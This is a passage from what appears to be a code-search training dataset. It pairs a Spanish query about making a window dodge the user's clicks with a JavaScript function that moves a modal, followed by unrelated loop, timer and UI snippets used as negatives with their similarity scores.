{\\n \\t\\ti = i + 1;\\n \\t}\\n\\n\\tdo { // will run following body AT LEAST once.\\n\\n\\t\\t// console.log('array.length = ' + array.length + ' and i = ' + i); // WHAT THE HECK DOES THIS MEAN\\n // console.log(\\\"DID THIS WORK?!\\\"); // update: I actually don't even need the console.log part\\n\\t\\tarray = array.slice(1); // removes the first element in an array\\n\\t\\tincrementVariable(); // function that adds '1' to the 'i' variable each time it's ran (function set above)\\n\\t} while (array.length > 0 && i < 5); // while the length of the array is greater than zero AND less than 5\\n\\n\\treturn array;\\n}\",\n \"function start() {\\n isGameActive = true;\\n\\n var l = 0;\\n do {\\n setTimeout(function () {\\n calculateNextGeneration();\\n }, 1000 * l);\\n l++;\\n console.log(l);\\n }\\n while (l < 1000);\\n\\n}\",\n \"startLoop () {\\n this.loop = true;\\n\\n while (this.loop) {\\n switch (this.state) {\\n case GET_INFO:\\n this.getInfo();\\n break;\\n case GET_PAYLOAD_LENGTH_16:\\n this.getPayloadLength16();\\n break;\\n case GET_PAYLOAD_LENGTH_64:\\n this.getPayloadLength64();\\n break;\\n case GET_MASK:\\n this.getMask();\\n break;\\n case GET_DATA:\\n this.getData();\\n break;\\n default: // `INFLATING`\\n this.loop = false;\\n }\\n }\\n }\",\n \"function controlLoop(){\\r\\n refreshData();\\r\\n setInterval(refreshData,10000);\\r\\n}\",\n \"function stopLoop()\\n{\\n\\twindow.clearInterval(loop);\\t\\n}\",\n \"function stop(){\\n noLoop();\\n}\",\n \"function intervalFunction(){\\n\\t//If loopFlag == 1 then last execution actually executed something. If is 0 then last execution didn't execute anything, stop the program.\\n\\t//stopPressed and error are check flags for the stop button or internal errors\\n\\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\\n loop();\\n\\t\\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\\n\\t\\t\\tsetTimeout(intervalFunction,speed);\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t}\\n\\tstop();\\n}\",\n \"function pauseLoopArticles() {\\n if (onAutoLooping) {\\n clearInterval(loop_interval);\\n isLooping = false;\\n }\\n }\",\n \"function loopData() {\\n\\n}\",\n \"function loop() {\\n inquirer\\n .prompt([\\n {\\n type: \\\"confirm\\\",\\n message: \\\"Would you like to add another employee?\\\",\\n name: \\\"loop\\\",\\n },\\n ])\\n .then((res) => {\\n if (res.loop) {\\n init();\\n } else {\\n printHTML();\\n return;\\n }\\n });\\n}\",\n \"async function Stopper() {\\r\\n while (true){\\r\\n await sleep(1000);\\r\\n if(MS ===5 && S ===9) {\\r\\n M = increment(M, 1000);\\r\\n S = 0;\\r\\n MS = 0;\\r\\n } else if(S === 9){\\r\\n S = 0;\\r\\n MS = increment(MS,5);\\r\\n } else {\\r\\n S = increment(S,9);\\r\\n }\\r\\n $(\\\"#Time\\\").text(\\\"Time: \\\"+M+\\\":\\\"+MS+\\\"\\\"+S) ;\\r\\n }\\r\\n\\r\\n}\",\n \"function SLOOP(state) {\\n state.loop = state.stack.pop();\\n\\n if (exports.DEBUG) {\\n console.log(state.step, 'SLOOP[]', state.loop);\\n }\\n }\",\n \"function loop(){\\n Jobs.getAndDraw();\\n setTimeout(function(){loop()}, 30000)\\n }\",\n \"startLoop () {\\n\\t this._loop = true;\\n\\n\\t while (this._loop) {\\n\\t switch (this._state) {\\n\\t case GET_INFO:\\n\\t this.getInfo();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_16:\\n\\t this.getPayloadLength16();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_64:\\n\\t this.getPayloadLength64();\\n\\t break;\\n\\t case GET_MASK:\\n\\t this.getMask();\\n\\t break;\\n\\t case GET_DATA:\\n\\t this.getData();\\n\\t break;\\n\\t default: // `INFLATING`\\n\\t this._loop = false;\\n\\t }\\n\\t }\\n\\t }\",\n \"function myLoop () { // create a loop function\\n setTimeout(function () { // call a 3s setTimeout when the loop is called\\n console.log('hello'); // your code here\\n i++; // increment the counter\\n if (i < 10) { // if the counter < 10, call the loop function\\n myLoop(); // .. again which will trigger another \\n } // .. setTimeout()\\n }, 1000)\\n}\",\n \"_stopLoop() { this._isRunning = false; }\",\n \"function loop_over() {\\n\\t\\n\\t\\tif(finished) { // konec\\n\\t\\t\\tcount_result();\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\t\\t\\n\\t\\t$('#arrow').css({\\\"display\\\":\\\"none\\\"});\\n\\t\\tdir = range(37,40); // vygeneruj smer sipky\\n\\t\\t\\n\\t\\tif(dir == 38)\\n\\t\\t\\t$('#arrow').text(\\\"↑\\\");\\n\\t\\telse if(dir == 37)\\n\\t\\t\\t$('#arrow').text(\\\"←\\\");\\n\\t\\telse if(dir == 40)\\n\\t\\t\\t$('#arrow').text(\\\"↓\\\");\\n\\t\\telse\\n\\t\\t\\t$('#arrow').text(\\\"→\\\");\\n\\n\\t\\tsetTimeout(function() {\\n\\t\\t\\t$('#arrow').css({\\\"display\\\":\\\"block\\\"});\\n\\t\\t\\tloop();\\n\\t\\t},0);\\n\\t}\",\n \"function printWithWhile(){\\n\\tvar printwhile = 2000;\\n\\n\\twhile(printwhile <= 5280){\\n\\t\\tconsole.log(printwhile);\\n\\t\\tprintwhile++;\\n\\t}\\n\\n}\",\n \"function TaskLoop() {\\n\\t\\n}\",\n \"function mainLoop()\\n {\\n\\t\\tmainLoopCounter++;\\n if (Graph.instance.nodes.get(state.sourceId).b == 0) {\\n state.current_step = STEP_FINISHED; //so that we display finished, not mainloop when done\\n that.stopFastForward();\\n \\n logger.log(\\\"Finished with a min cost of \\\"+ minCost);\\n\\n }\\n else\\n {\\n logger.log(\\\"Not finished, starting search for augmentation cycle \\\");\\n state.show_residual_graph = true;\\n state.current_step = STEP_FINDSHORTESTPATH; \\n\\t\\t\\n }\\n }\",\n \"function mainLoop () {\\n // Hard coded insturction count that each loop runs.\\n let insCount = 5\\n c8.DELAY = Math.max(0, c8.DELAY - 1)\\n while (insCount > 0) {\\n const { MEM, PC } = c8\\n // Move instruction offset.\\n const ins = getIns(MEM[PC] << 8 | MEM[PC + 1])\\n try {\\n // Perform operation according to instruction.\\n ops[ins[0]](ins, c8, view)\\n } catch (err) { warning(err, ins, c8) }\\n insCount--\\n }\\n window.requestAnimationFrame(mainLoop)\\n }\",\n \"function mainLoop() {\\n // check if the user is drawing and emit xy coords to be pushed into line history on the back end\\n if (mouse.click && mouse.move && mouse.pos_prev) {\\n // send line to to the server\\n client.emit('draw_line', { line: [mouse.pos, mouse.pos_prev] });\\n mouse.move = false;\\n }\\n if (erase) { //user1 erases -> server gets message -> updates client state for all users\\n client.emit('erase_board', { message: 'Client to server: User x erased the board' });\\n erase = false;\\n }\\n //if not drawing, assign values to pos_prev to begin the drawing process\\n mouse.pos_prev = { x: mouse.pos.x, y: mouse.pos.y };\\n setTimeout(mainLoop, 25); //recursive loop every 25ms\\n }\",\n \"loop() {\\n\\t\\tif( game.paused ) {\\n\\t\\t\\tdisplay.clearScreen();\\n\\t\\t\\tgame.draw();\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\n\\t\\tif( !game.nc || ( game.nc && display.frame % 3 === 0 ) ) {\\n\\t\\t\\tgame.update();\\n\\t\\t\\tdisplay.clearScreen();\\n\\t\\t\\tgame.draw();\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t}\",\n \"loop() {\\r\\n\\t\\t\\tthis.looping = true;\\r\\n\\t\\t\\tthis.playing = true;\\r\\n\\t\\t}\",\n \"function alive()\\n{\\n\\tconsole.log(\\\"Loop\\\");\\n\\tswitch(state)\\n\\t{\\n\\t\\tcase 0:\\n\\t\\t\\tconsole.log(\\\"Stopped\\\");\\n\\t\\t\\t//stop();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 1:\\n\\t\\t\\tif (busy == 0)\\n\\t\\t\\t{\\n\\t\\t\\t\\tconsole.log(\\\"Swimming\\\");\\n\\t\\t\\t\\tswim();\\n\\t\\t\\t}\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 2:\\n\\t\\t\\t//NOT Implemented\\n\\t\\t\\tfollow();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 3:\\n\\t\\t\\t//NOT Implemented\\n\\t\\t\\tavoid();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 4:\\n\\t\\t\\t//NOT Implemented\\n\\t\\t\\tfeed();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 5:\\n\\t\\t\\t//DoNothingCozManual!!!!\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tdefault:\\n\\t\\t\\tstate = 1;\\n\\t}\\n}\",\n \"function mainLoop() {\\n\\n\\t\\tvar timeChecker = setInterval(function() {\\n\\n\\t\\t\\tstate.videoPlayer.update();\\n\\t\\t\\t// Forced update of time. Required for Safari.\\n\\t\\t\\ttime = state.videoPlayer.currentTime;\\n\\n\\t\\t\\t// console.log('time:', time);\\n\\t\\t\\t_.each(popUpProblemTimer, function(obj) {\\n\\t\\t\\t\\tif (time >= obj.start && time < obj.end) {\\n\\t\\t\\t\\t\\t// console.log(obj);\\n\\t\\t\\t\\t\\tvideoActions.actionFunction(time, obj);\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tvideoActions.actionFunction(time, null);\\n\\t\\t\\t\\t}\\n\\t\\t\\t})\\n\\t\\t}, 500);\\n\\n\\t}\",\n \"function loopArticles() {\\n if (onAutoLooping) {\\n loop_interval = setInterval(nextArticle, settings.interval);\\n isLooping = true;\\n }\\n }\",\n \"function startLoop() {\\r\\n document.getElementById('tagtitle').innerHTML=title[currentTitle];\\r\\n x= description[currentTitle];\\r\\n // alert(x);\\r\\n if(myInterval > 0) clearInterval(myInterval); // stop\\r\\n myInterval = setInterval( \\\"changeContent()\\\", iFrequency ); // run\\r\\n }\",\n \"function ciblerMonstre(){\\n choisie=false;\\n while (choisie=false){\\n butGob.onclick= function(){\\n cibleMonstre=\\\"Gobelin\\\";\\n vieMonCible=vieGob;\\n choisie=true;\\n }\\n butDef.onclick= function(){\\n cibleMonstre=\\\"Dragon\\\";\\n vieMonCible=vieDra;\\n choisie=true;\\n }\\n butSpe.onclick= function(){\\n cibleMonstre=\\\"Fantôme\\\";\\n vieMonCible=vieFan;\\n choisie=true;\\n }\\n }\\n}\",\n \"function myLoop() { // create a loop function\\n setTimeout(function () { // call a 3s setTimeout when the loop is called\\n console.log(globulCounter); // your code here\\n\\n if (globulCounter < stockArrayBy80.length) { // if the counter < 10, call the loop function\\n getStockAllPriceGoogle(stockArrayBy80[globulCounter]);\\n myLoop(); // .. again which will trigger another\\n } // .. setTimeout()\\n globulCounter++; // increment the counter\\n }, 3000)\\n}\",\n \"function loopMain() {\\n if(!lock && !animation1 && !animation2){\\n lock = true;\\n $.get(\\\"phps/refreshlugares.php\\\",function(responseText,status){\\n try{\\n if(status==\\\"success\\\"){\\n res = JSON.parse(responseText);\\n res.forEach(function (lugar) {\\n switch (lugar.idLugares) {\\n case \\\"1\\\":\\n if(ocupado1!=parseInt(lugar.ocupado))\\n ocupar1();\\n break;\\n case \\\"2\\\":\\n if(ocupado2!=parseInt(lugar.ocupado))\\n ocupar2();\\n break;\\n }\\n });\\n }else{\\n alert(status);\\n }\\n }catch(e){\\n alert(e);\\n }\\n lock = false;\\n });\\n }\\n}\",\n \"function veggieWhileLooper( veggies ) {\\r\\n\\r\\n var i = 0;\\r\\n\\r\\n while ( i < veggies.length ) {\\r\\n\\r\\n console.log( myVeggies[i] );\\r\\n i++;\\r\\n }\\r\\n}\",\n \"function countdown(num){\\r\\n\\r\\n while(num > 1)\\r\\n{\\r\\n console.log(num);\\r\\n num = num - 4;\\r\\n}\\r\\n\\r\\n}\",\n \"function Steady() {\\n// var i;\\n// for (i = 0; i<4; i++) {} => Boucle servant dans le cas où l'on veut ajouter 4 cartes de suite pour la banque\\n while (bank_score[0] < player_score[0]) {\\n var para = document.getElementById('BC');\\n var img = document.createElement('img');\\n var path = randomOne(bank_score, bank_cards, \\\"texte1\\\");\\n img.src = path;\\n para.appendChild(img);\\n }\\n Score_Text_Display(bank_score,player_score);\\n}\",\n \"startLoop () {\\n this._loop = true;\\n\\n do {\\n switch (this._state) {\\n case GET_INFO:\\n this.getInfo();\\n break;\\n case GET_PAYLOAD_LENGTH_16:\\n this.getPayloadLength16();\\n break;\\n case GET_PAYLOAD_LENGTH_64:\\n this.getPayloadLength64();\\n break;\\n case GET_MASK:\\n this.getMask();\\n break;\\n case GET_DATA:\\n this.getData();\\n break;\\n default: // `INFLATING`\\n this._loop = false;\\n }\\n } while (this._loop);\\n }\",\n \"agregarNuevo(){\\n let esta = false;\\n let cont = 0;\\n \\n while(!esta){\\n cont++;\\n const fil = Math.floor(Math.random() * this.size);\\n const col = Math.floor(Math.random() * this.size);\\n\\n if(this.getCelda(fil,col)==null){\\n esta = true;\\n const val = Math.floor(Math.random() * 6)+1;\\n if(val>=0 && val<5)\\n this.setCeldaEfecto(2,fil,col); // 3 chances de 4 de que toque 2\\n else\\n this.setCeldaEfecto(4,fil,col); // 3 chances de 4 de que toque 4\\n }\\n\\n //conta\\n if(cont==1000) esta = true;\\n\\n }\\n\\n }\",\n \"function meshLoop(self)\\n{\\n debug(\\\"MESHA\\\")\\n meshReap(self);\\n meshSeen(self);\\n meshElect(self);\\n meshPing(self);\\n debug(\\\"MESHZ\\\")\\n setTimeout(function(){meshLoop(self)}, 25*1000);\\n}\",\n \"startLoop () {\\n this._loop = true;\\n\\n while (this._loop) {\\n switch (this._state) {\\n case GET_INFO:\\n this.getInfo();\\n break;\\n case GET_PAYLOAD_LENGTH_16:\\n this.getPayloadLength16();\\n break;\\n case GET_PAYLOAD_LENGTH_64:\\n this.getPayloadLength64();\\n break;\\n case GET_MASK:\\n this.getMask();\\n break;\\n case GET_DATA:\\n this.getData();\\n break;\\n default: // `INFLATING`\\n this._loop = false;\\n }\\n }\\n }\",\n \"function executeAll() {\\r\\n //wykonaj wszystkie kroki do konca\\r\\n while (!finished) processStep();\\r\\n prepareScreen5();\\r\\n}\",\n \"function game_loop()\\n{\\n\\t// If frog made it across safely\\n\\tif(frog.lane == 0 && is_safe_cross()) {\\t\\n\\t\\tcrossed_safely();\\n\\t}\\n\\t\\n\\t// If frog is dead\\n\\tif(is_collision() || is_in_water() || is_out_of_bounds() || is_out_of_time() || !is_safe_cross() ) {\\n\\t\\tlives--;\\n\\t\\treset_frog();\\n\\t} \\n\\n\\t// If player has zero frogs left (aka game over)\\n\\tif(lives == 0) {\\n\\t\\tgame_over();\\n\\t}\\n}\",\n \"async function imagerollFunction() {\\n while (counter < imageArray.length && roll) {\\n image.src = imageArray[counter][0];\\n image.alt = imageArray[counter][1];\\n p.innerText = imageArray[counter][1];\\n counter++;\\n await sleep(4000);\\n }\\n}\",\n \"function credits_loop() {\\n \\t\\tdo_fade();\\n \\t\\tdraw_backDrop();\\n \\t\\tdraw_scroller();\\t\\t\\t\\t\\t\\t\\t\\n \\t\\tendScreenTimer--;\\t\\t\\t\\t\\t\\t\\t\\t// Countdown the timer.\\n \\t\\tif (endScreenTimer==0) end();\\t\\t\\t\\t\\t\\t\\t\\t// If it gets to zero, end the credits!\\n \\t\\telse if (creditsLoopOn) requestAnimFrame( credits_loop );\\t// ... otherwise if the demo is continuing, go to the next frame.\\n \\t}\",\n \"function intGoNext(){\\n goNext(0);\\n }\",\n \"async function mainLoop() {\\n\\n\\tdrawBoard(currentlyDisplayedCards);\\n\\twhile (!gameEnded) {\\n\\t\\tlet eventSet = await getEvent(pastEvents);\\n\\t\\tawait handleEvent(eventSet); // handle the event that was just added\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.8160807","0.72183514","0.7165397","0.7162067","0.7156095","0.7156095","0.7044727","0.70299995","0.6846243","0.6711894","0.67076546","0.6599778","0.6598126","0.6598126","0.6571005","0.65352774","0.65262204","0.65159464","0.64951324","0.6481465","0.64783376","0.6473284","0.6438391","0.6430326","0.639981","0.6398046","0.6398046","0.6398046","0.6398046","0.6393591","0.63869596","0.6380344","0.63610125","0.63506585","0.63312525","0.63259953","0.6319324","0.6289687","0.6285144","0.62818795","0.62785584","0.62716115","0.62659293","0.6251036","0.62390774","0.6221712","0.62015903","0.6161554","0.6140686","0.6129205","0.6124348","0.6118781","0.6115037","0.6111677","0.6096505","0.60886776","0.60726875","0.5995147","0.5988208","0.59531593","0.59524","0.59482086","0.5921281","0.5910011","0.590931","0.58867294","0.58782476","0.5871007","0.5864027","0.58625406","0.58618015","0.5859982","0.58347696","0.58102745","0.58041954","0.5793302","0.57902044","0.57886213","0.57851595","0.577214","0.5763079","0.5756939","0.5749172","0.57324266","0.57304627","0.5727801","0.57264566","0.57239676","0.57230157","0.57207936","0.5715495","0.57148415","0.5707496","0.5696988","0.5687366","0.56810415","0.56787235","0.5677128","0.5677077","0.56732804","0.56719077"],"string":"[\n \"0.8160807\",\n \"0.72183514\",\n \"0.7165397\",\n \"0.7162067\",\n \"0.7156095\",\n \"0.7156095\",\n \"0.7044727\",\n \"0.70299995\",\n \"0.6846243\",\n \"0.6711894\",\n \"0.67076546\",\n \"0.6599778\",\n \"0.6598126\",\n \"0.6598126\",\n \"0.6571005\",\n \"0.65352774\",\n \"0.65262204\",\n \"0.65159464\",\n \"0.64951324\",\n \"0.6481465\",\n \"0.64783376\",\n \"0.6473284\",\n \"0.6438391\",\n \"0.6430326\",\n \"0.639981\",\n \"0.6398046\",\n \"0.6398046\",\n \"0.6398046\",\n \"0.6398046\",\n \"0.6393591\",\n \"0.63869596\",\n \"0.6380344\",\n \"0.63610125\",\n \"0.63506585\",\n \"0.63312525\",\n \"0.63259953\",\n \"0.6319324\",\n \"0.6289687\",\n \"0.6285144\",\n \"0.62818795\",\n \"0.62785584\",\n \"0.62716115\",\n \"0.62659293\",\n \"0.6251036\",\n \"0.62390774\",\n \"0.6221712\",\n \"0.62015903\",\n \"0.6161554\",\n \"0.6140686\",\n \"0.6129205\",\n \"0.6124348\",\n \"0.6118781\",\n \"0.6115037\",\n \"0.6111677\",\n \"0.6096505\",\n \"0.60886776\",\n \"0.60726875\",\n \"0.5995147\",\n \"0.5988208\",\n \"0.59531593\",\n \"0.59524\",\n \"0.59482086\",\n \"0.5921281\",\n \"0.5910011\",\n \"0.590931\",\n \"0.58867294\",\n \"0.58782476\",\n \"0.5871007\",\n \"0.5864027\",\n \"0.58625406\",\n \"0.58618015\",\n \"0.5859982\",\n \"0.58347696\",\n \"0.58102745\",\n \"0.58041954\",\n \"0.5793302\",\n \"0.57902044\",\n \"0.57886213\",\n \"0.57851595\",\n \"0.577214\",\n \"0.5763079\",\n \"0.5756939\",\n \"0.5749172\",\n \"0.57324266\",\n \"0.57304627\",\n \"0.5727801\",\n \"0.57264566\",\n \"0.57239676\",\n \"0.57230157\",\n \"0.57207936\",\n \"0.5715495\",\n \"0.57148415\",\n \"0.5707496\",\n \"0.5696988\",\n \"0.5687366\",\n \"0.56810415\",\n \"0.56787235\",\n \"0.5677128\",\n \"0.5677077\",\n \"0.56732804\",\n \"0.56719077\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14,"cells":{"query":{"kind":"string","value":"funcion para que mueva la ventana de sitio y evitar que el usuario click en si"},"document":{"kind":"string","value":"function esquivarUsuario() {\n\n //obtenemos la hora actual\n var ahora = new Date();\n\n //calculamos las nuevas coordenadas\n var x = ahora.getMilliseconds();\n var y = x / 2;\n\n //desplazamos la ventana\n // window.moveTo(x, y);\n\n //movemos el div\n var ventana = document.getElementById('myModal');\n ventana.style.position = \"absolute\";\n ventana.style.left = x + \"px\";\n ventana.style.top = y + \"px\";\n\n\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function ClickGerarElite() {\n GeraElite();\n AtualizaGeral();\n}","function ClickGerarAleatorioElite() {\n GeraAleatorioElite();\n AtualizaGeral();\n}","function ClickHabilidadeEspecial() {\n // TODO da pra melhorar.\n AtualizaGeral();\n}","function ClickGastarFeitico() {\n AtualizaGeral();\n}","function do_click(reserva) {\n\tvar v = document.getElementById(reserva);\n\tif (v.alt != 2) {\n\t\tif (fila == 0) { // Comprobacion de que es la primera fila que se\n\t\t\t\t\t\t\t// escoje\n\t\t\tfila = parseInt(reserva / 100);\n\t\t\tif (v.alt == 0) {\n\t\t\t\tv.src = 'images/butacas/iconoLibre.ico';\n\t\t\t\tv.alt = 1;\n\t\t\t\tsetSeat(reserva);\n\t\t\t} else if (v.alt == 1) {\n\t\t\t\tv.src = 'images/butacas/iconoElegido.ico';\n\t\t\t\tv.alt = 0;\n\t\t\t\tdeleteSeat(reserva);\n\t\t\t}\n\t\t} else if (parseInt(reserva / 100) == fila) {\n\t\t\tif (v.alt == 0) {\n\t\t\t\tif (contador < 10) {\n\t\t\t\t\tv.src = 'images/butacas/iconoLibre.ico';\n\t\t\t\t\tv.alt = 1;\n\t\t\t\t\tsetSeat(reserva);\n\t\t\t\t} else\n\t\t\t\t\talert(\"No se puede comprar mas de 10 entradas\");\n\t\t\t} else if (v.alt == 1) {\n\t\t\t\tv.src = 'images/butacas/iconoElegido.ico';\n\t\t\t\tv.alt = 0;\n\t\t\t\tdeleteSeat(reserva);\n\t\t\t}\n\t\t} else\n\t\t\talert(\"Las entradas deben pertenecer a la misma fila\");\n\t}\n}","function ClickDescansar(valor) {\n // Cura letal e nao letal.\n EntradasAdicionarFerimentos(-PersonagemNivel(), false);\n EntradasAdicionarFerimentos(-PersonagemNivel(), true);\n EntradasRenovaSlotsFeiticos();\n AtualizaGeralSemLerEntradas();\n AtualizaGeral();\n}","function ClickGerarPontosDeVida(modo) {\n GeraPontosDeVida(modo);\n AtualizaGeral();\n}","function asignarEventos() {\n _.click(function() {\n\n });\n}","function calificar(){\n//comprobar si ya está vinculado para abrir una pagina emergente y un menú para seleccionar la ruta a calificar\n//if(vincular()=true)\n//open window\n//Al dar clic en el boton de calificar se debe cerrar la ventana emergente y mandar calificacion\n//\n}","function onClick(e) {\n let cantSalvo = tableroSalvo.querySelectorAll(\".active\").length;\n let ajeno = tableroNaves.querySelectorAll(\".hit\").length + tableroNaves.querySelectorAll(\".fail\").length;\n let propio = tableroSalvo.querySelectorAll(\".hit\").length + tableroSalvo.querySelectorAll(\".fail\").length;\n\n if(e.target.classList.contains(\"active\")) {\n e.target.classList.remove(\"active\");\n cantSalvo--;\n } else if(cantSalvo < 5) {\n e.target.classList.add(\"active\");\n cantSalvo++;\n }\n\n if (cantSalvo < 5 || app.turnos(propio, ajeno)) {\n document.querySelector(\".btnShot\").setAttribute(\"disabled\", \"true\");\n } else {\n document.querySelector(\".btnShot\").removeAttribute(\"disabled\");\n }\n}","function ClickEstilo(nome_estilo, id_select_secundario) {\n var select_secundario = Dom(id_select_secundario);\n if (nome_estilo == 'uma_arma' || nome_estilo == 'arma_escudo' || nome_estilo == 'arma_dupla' || nome_estilo == 'rajada' || nome_estilo == 'tiro_rapido') {\n select_secundario.disabled = true;\n } else if (nome_estilo == 'duas_armas') {\n select_secundario.disabled = false;\n } else {\n Mensagem(Traduz('Nome de estilo invalido') + ': ' + Traduz(nome_estilo));\n }\n AtualizaGeral();\n}","function ClickGerarComum() {\n GeraComum();\n AtualizaGeral();\n}","function logo_click() {\n if (pasos.paso1.aseguradoraSeleccionada != null && pasos.paso1.aseguradoraSeleccionada.id == pasos.paso1.listaAseguradoras[$(this).index()].id) {\n componentes.progreso.porcentaje = 0;\n componentes.progreso.barra.css({width: '0px'});\n pasos.paso1.aseguradoraSeleccionada = null;\n $(this).removeClass(\"seleccionada\");\n componentes.pasos.paso1.numero_siniestro.prop('readonly', true);\n } else {\n if (pasos.paso1.aseguradoraSeleccionada == null) {\n componentes.progreso.porcentaje = 5;\n componentes.progreso.barra.css({width: '5%'});\n }\n pasos.paso1.aseguradoraSeleccionada = pasos.paso1.listaAseguradoras[$(this).index()];\n $.get('http://localhost:8080/ReForms_Provider/wr/perito/buscarPeritoPorAseguradora/' + pasos.paso1.aseguradoraSeleccionada.id, respuesta_buscarPeritoPorAseguradora, 'json');\n $(this).siblings(\".seleccionada\").removeClass(\"seleccionada\");\n $(this).addClass(\"seleccionada\");\n componentes.pasos.paso1.numero_siniestro.prop('readonly', false);\n }\n componentes.pasos.paso1.numero_siniestro.val('').focus();\n componentes.pasos.paso1.numero_siniestro.keyup();\n }","function tzimhoniClick()\n\t\t{\n\t\tif (tzimhoniClickStatus==true){\n\t\t\tthis.instruction_txt.text=\"לחץ על רכיב שתרצה לדעת עליו יותר\";\n\t\t\tthis.tivoni_fade.visible=1;\n\t\t\tthis.heraion_fade.visible=1;\n\t\t\tthis.kasher_fade.visible=1;\n\t\t\tthis.tzimhoni_fade.visible=0;\n\t\t\ttzimhoniClickStatus=false;\n\t\t\ttivoniClickStatus=true;\n\t\t\tkasherClickStatus=true;\n\t\t\theraionClickStatus=true;\n\t\t\tthis.tamago.alpha=1;\n\t\t\tthis.tivoni.mouseEnabled=false;\n\t\t\tthis.heraion.mouseEnabled=false;\n\t\t\tthis.kasher.mouseEnabled=false;\n\t\t\tthis.unagi.mouseEnabled=false;\n\t\t\tthis.tobiko.mouseEnabled=false;\n\t\t\tthis.tuna.mouseEnabled=false;\n\t\t\tthis.surimi.mouseEnabled=false;\n\t\t\tthis.palamida.mouseEnabled=false;\n\t\t\tthis.salmon.mouseEnabled=false;\n\t\t\tthis.skin.mouseEnabled=false;\n\t\t\tthis.ekora.mouseEnabled=false;\n\t\t}\n\t\telse{\n\t\t\tthis.instruction_txt.text=\"לחץ לבחירת המאפיין\";\n\t\t\tthis.tivoni_fade.visible=0;\n\t\t\tthis.heraion_fade.visible=0;\n\t\t\tthis.kasher_fade.visible=0;\n\t\t\tthis.tzimhoni_fade.visible=0;\n\t\t\ttzimhoniClickStatus=true;\n\t\t\ttivoniClickStatus=true;\n\t\t\tkasherClickStatus=true;\n\t\t\theraionClickStatus=true;\n\t\t\tthis.tivoni.mouseEnabled=true;\n\t\t\tthis.heraion.mouseEnabled=true;\n\t\t\tthis.kasher.mouseEnabled=true;\n\t\t\tthis.unagi.mouseEnabled=true;\n\t\t\tthis.tobiko.mouseEnabled=true;\n\t\t\tthis.tuna.mouseEnabled=true;\n\t\t\tthis.surimi.mouseEnabled=true;\n\t\t\tthis.palamida.mouseEnabled=true;\n\t\t\tthis.salmon.mouseEnabled=true;\n\t\t\tthis.skin.mouseEnabled=true;\n\t\t\tthis.ekora.mouseEnabled=true;\n\t\t}\n\t\t\n\t\t}","function avvisaUtente() { // senza argomento\n alert('Ciao utente, ti sto avvisando');\n}","function click(cuadrado) {\n\n // Función que nos permite activar el timer\n function activaTiempo(){\n tiempoJuego = setInterval(actualizaTiempo, 1000)\n tiempoActivo = true\n }\n \n // obtenemos el id del cuadrado\n let idActual = cuadrado.id\n // Si el tiempo no ha sido activado lo activamos\n if (!tiempoActivo) activaTiempo()\n // Si el juego ya ha terminado nos salimos\n if (juegoAcabado) return\n // Si el cuadrado ha sido chequeado o contiene una bandera nos salimos\n if (cuadrado.classList.contains('chequeado') || cuadrado.classList.contains('bandera')) return\n // Si contiene una bomba simplemente acaba el juego\n if (cuadrado.classList.contains('bomba')) {\n gameOver(cuadrado)\n } \n // En caso contrario lo descubrimos y colocamos el valor que contiene en el data que sera visible\n else {\n let total = cuadrado.getAttribute('data')\n if (total !=0) {\n cuadrado.classList.add('chequeado')\n if (total == 1) cuadrado.classList.add('uno')\n if (total == 2) cuadrado.classList.add('dos')\n if (total == 3) cuadrado.classList.add('tres')\n if (total == 4) cuadrado.classList.add('cuatro')\n if (total == 5) cuadrado.classList.add('cinco')\n if (total == 6) cuadrado.classList.add('seis')\n if (total == 7) cuadrado.classList.add('siete')\n if (total == 8) cuadrado.classList.add('ocho')\n cuadrado.innerHTML = total\n return\n }\n // Solo llegamos a este caso si el cuadrado es un cuadrado que permite expandirse \n chequeaCuadrado(cuadrado, idActual)\n }\n cuadrado.classList.add('chequeado')\n}","function escucha_users(){\n\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\n\tse muestra en la pag users.php*/\n\tvar x=document.getElementsByTagName(\"article\");/*selecciono todos los usuarios ya qye se encuentran\n\tdentro de article*/\n\tfor(var z=0; z #user\");\n if(localStorage.getItem(\"user\")){\n btn.onclick = (e)=>{\n if(localStorage.getItem(\"user\")){\n location.replace(\"/login/informacioncuenta\");\n }else{\n urlCreateAccount();\n }\n }\n }else{\n urlCreateAccount();\n }\n}","function ClickDesfazer() {\n gEntradas = JSON.parse(gEstado.Restaura());\n AtualizaGeralSemLerEntradas();\n}","function ClickVisao(modo) {\n // Loop para esconder tudo.\n for (var j = 0; j < tabelas_visoes[modo].esconder.classes.length; ++j) {\n var divs_esconder = DomsPorClasse(tabelas_visoes[modo].esconder.classes[j]);\n for (var i = 0; i < divs_esconder.length; ++i) {\n divs_esconder[i].style.display = 'none';\n }\n }\n for (var i = 0; i < tabelas_visoes[modo].esconder.elementos.length; ++i) {\n var divs_combate = Dom(tabelas_visoes[modo].esconder.elementos[i]);\n divs_combate.style.display = 'none';\n }\n // Loop para mostrar.\n for (var j = 0; j < tabelas_visoes[modo].mostrar.classes.length; ++j) {\n var divs_mostrar = DomsPorClasse(tabelas_visoes[modo].mostrar.classes[j]);\n for (var i = 0; i < divs_mostrar.length; ++i) {\n divs_mostrar[i].style.display = 'block';\n }\n }\n for (var i = 0; i < tabelas_visoes[modo].mostrar.elementos.length; ++i) {\n var divs_combate = 